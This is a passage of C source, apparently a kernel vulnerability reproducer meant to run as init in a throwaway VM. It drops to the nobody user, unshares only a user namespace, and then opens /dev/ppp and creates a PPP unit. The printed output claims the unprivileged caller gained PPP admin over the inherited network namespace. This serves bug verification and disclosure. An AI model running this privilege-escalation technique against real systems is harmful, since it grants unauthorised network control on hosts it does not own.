	if (write(fd, buf, len) != (ssize_t)len)
		die(path);
	close(fd);
}

static unsigned long long netns_ino(void)
{
	struct stat st;

	if (stat("/proc/self/ns/net", &st) < 0)
		die("stat(/proc/self/ns/net)");
	return (unsigned long long)st.st_ino;
}

int main(void)
{
	unsigned long long before, after;
	int fd, unit = -1;

	if (mkdir("/proc", 0555) < 0 && errno != EEXIST)
		die("mkdir(/proc)");
	if (mkdir("/sys", 0555) < 0 && errno != EEXIST)
		die("mkdir(/sys)");
	if (mkdir("/dev", 0755) < 0 && errno != EEXIST)
		die("mkdir(/dev)");

	if (mount("proc", "/proc", "proc", 0, NULL) < 0)
		die("mount(proc)");
	if (mount("sysfs", "/sys", "sysfs", 0, NULL) < 0)
		die("mount(sysfs)");
	if (mount("devtmpfs", "/dev", "devtmpfs", 0, "mode=0755") < 0)
		die("mount(devtmpfs)");

	if (access("/dev/ppp", F_OK) < 0 &&
	    mknod("/dev/ppp", S_IFCHR | 0666, makedev(108, 0)) < 0 &&
	    errno != EEXIST)
		die("mknod(/dev/ppp)");
	if (chmod("/dev/ppp", 0666) < 0)
		die("chmod(/dev/ppp)");

	before = netns_ino();
	printf("[*] initial netns ino=%llu\n", before);

	if (setresgid(65534, 65534, 65534) < 0)
		die("setresgid(65534)");
	if (setresuid(65534, 65534, 65534) < 0)
		die("setresuid(65534)");
	if (prctl(PR_SET_DUMPABLE, 1) < 0)
		die("prctl(PR_SET_DUMPABLE)");

	printf("[*] dropped to uid=%d gid=%d before userns\n", getuid(), getgid());

	fd = open("/dev/ppp", O_RDWR);
	if (fd >= 0) {
		printf("[!] open(/dev/ppp) unexpectedly succeeded before userns\n");
		fflush(stdout);
		reboot(LINUX_REBOOT_CMD_POWER_OFF);
		return 1;
	}
	printf("[*] open(/dev/ppp) before userns failed as expected: %s\n",
	       strerror(errno));

	if (unshare(CLONE_NEWUSER) < 0)
		die("unshare(CLONE_NEWUSER)");
	write_file("/proc/self/uid_map", "0 65534 1\n");
	if (setresuid(0, 0, 0) < 0)
		die("setresuid(0)");

	after = netns_ino();
	printf("[*] after userns-only unshare netns ino=%llu\n", after);
	printf("[*] now uid=%d gid=%d in new userns\n", getuid(), getgid());

	fd = open("/dev/ppp", O_RDWR);
	if (fd < 0)
		die("open(/dev/ppp) after userns");
	printf("[*] open(/dev/ppp) after userns succeeded\n");

	if (ioctl(fd, PPPIOCNEWUNIT, &unit) < 0)
		die("ioctl(PPPIOCNEWUNIT)");
	printf("[+] PPPIOCNEWUNIT succeeded, unit=%d\n", unit);
	printf("[+] Unprivileged caller gained PPP admin over the inherited netns via userns-only unshare\n");
	fflush(stdout);

	reboot(LINUX_REBOOT_CMD_POWER_OFF);
	return 0;
}